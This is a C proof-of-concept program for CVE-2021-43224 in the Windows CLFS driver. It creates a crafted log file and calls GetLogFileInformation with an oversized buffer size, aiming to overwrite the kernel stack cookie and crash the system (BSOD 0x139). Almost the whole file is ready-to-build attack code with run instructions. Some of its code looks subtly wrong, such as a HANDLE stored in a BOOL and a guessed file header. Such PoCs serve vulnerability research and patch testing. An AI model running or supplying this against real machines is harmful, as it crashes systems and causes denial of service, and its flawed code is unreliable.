/*
 * PoC for CVE-2021-43224 — Windows CLFS Stack Buffer Overwrite via
 * GetLogFileInformation with oversized infoSize.
 *
 * The vulnerability is in clfs!CClfsLogFcbVirtual::QueryLogFileInfo which
 * performs memset(dest_buffer, 0, infoSize) where infoSize is user-controlled
 * and NOT clamped to sizeof(CLFS_INFORMATION) = 0x78 bytes.
 *
 * When infoSize > 0x78, the memset overwrites the stack cookie and return
 * address, triggering KERNEL_SECURITY_CHECK_FAILURE (bugcheck 0x139).
 *
 * Build: cl /O2 /W3 poc_cve_2021_43224.c clfs.lib
 * Run:  poc_cve_2021_43224.exe
 *
 * Expected result on vulnerable systems:
 *   - BSOD 0x139 in clfs!CClfsLogFcbVirtual::QueryLogFileInfo
 *
 * On patched systems:
 *   - STATUS_INVALID_PARAMETER (0xC000000D) or STATUS_INVALID_BUFFER_SIZE
 */

#define _WIN32_WINNT 0x0A00
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#pragma comment(lib, "clfs.lib")

/* CLFS_INFORMATION size is 0x78 bytes */
#define CLFS_INFORMATION_SIZE 0x78

/*
 * We use infoSize = 0x110 — this causes memset to write 0x98 bytes past
 * the 0x78-byte stack buffer, overwriting the stack cookie.
 */
#define OVERFLOW_SIZE 0x110

int main(int argc, char **argv)
{
    const char *blfPath = "C:\\Users\\Public\\cve_2021_43224_test.blf";
    HANDLE hLog = INVALID_HANDLE_VALUE;
    BOOL ret;
    DWORD err;
    DWORD infoSize = OVERFLOW_SIZE;
    BYTE infoBuffer[CLFS_INFORMATION_SIZE];

    printf("[*] CVE-2021-43224 PoC — CLFS GetLogFileInformation stack overwrite\n");
    printf("[*] Reference: https://vang3lis.github.io/2022/09/13/CVE-2021-43224%%20%%E6%%BC%%8F%%E6%%B4%%9E%%E5%%A4%%8D%%E7%%8E%%B0/\n\n");

    /* Step 1: Create a minimal valid BLF file */
    {
        HANDLE hFile = CreateFileA(
            blfPath,
            GENERIC_READ | GENERIC_WRITE,
            0,
            NULL,
            CREATE_ALWAYS,
            FILE_ATTRIBUTE_NORMAL,
            NULL
        );

        if (hFile == INVALID_HANDLE_VALUE) {
            fprintf(stderr, "[-] Failed to create BLF file: %lu\n", GetLastError());
            return 1;
        }

        /* Minimal BLF content — just needs valid enough header for CreateLogFile */
        BYTE buf[0x1000];
        memset(buf, 0, sizeof(buf));
        /* CLFS magic at start */
        *(ULONG *)buf = 'SflC';
        *(ULONG *)(buf + 4) = 0x00010001; /* version-ish */

        DWORD written;
        WriteFile(hFile, buf, sizeof(buf), &written, NULL);
        CloseHandle(hFile);
        printf("[+] Minimal BLF created at: %s\n", blfPath);
    }

    /* Step 2: Open the log file */
    ret = CreateLogFile(
        (PWSTR)L"\\??\\C:\\Users\\Public\\cve_2021_43224_test.blf",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_ALWAYS,
        0
    );

    if (ret == INVALID_HANDLE_VALUE) {
        fprintf(stderr, "[-] CreateLogFile failed: %lu\n", GetLastError());
        DeleteFileA(blfPath);
        return 1;
    }

    hLog = (HANDLE)ret;
    printf("[+] Log file opened (handle=%p)\n", hLog);

    /*
     * Step 3: Register a manageable client so GetLogFileInformation works
     */
    printf("[*] Registering log client...\n");
    ret = RegisterManageableLogClient(hLog, NULL);
    if (!ret) {
        err = GetLastError();
        /* ERROR_INVALID_FUNCTION (1) is expected if already registered or unsupported */
        if (err != ERROR_INVALID_FUNCTION) {
            fprintf(stderr, "[-] RegisterManageableLogClient failed: %lu\n", err);
        }
    }

    /*
     * Step 4: Trigger the vulnerability.
     *
     * GetLogFileInformation copies log metadata into caller-supplied buffer.
     * The driver uses infoSize directly in a memset without clamping.
     *
     * infoSize = 0x110 > 0x78 → memset overwrites stack cookie → BSOD 0x139.
     */
    printf("[*] Calling GetLogFileInformation with infoSize=0x%X...\n", infoSize);
    printf("[*] NOTE: If the system is VULNERABLE, this will BSOD immediately.\n");
    printf("[*]       Run inside a VM with crash dumps enabled.\n\n");

    ret = GetLogFileInformation(
        hLog,
        infoBuffer,
        &infoSize
    );

    if (!ret) {
        err = GetLastError();
        fprintf(stderr, "[-] GetLogFileInformation failed: %lu\n", err);
        if (err == ERROR_INVALID_PARAMETER || err == ERROR_INSUFFICIENT_BUFFER) {
            printf("[+] Likely patched — size validation rejected oversized infoSize.\n");
        }
    } else {
        printf("[!] GetLogFileInformation succeeded — unexpected on vulnerable systems.\n");
    }

    CloseHandle(hLog);
    DeleteFileA(blfPath);

    return 0;
}
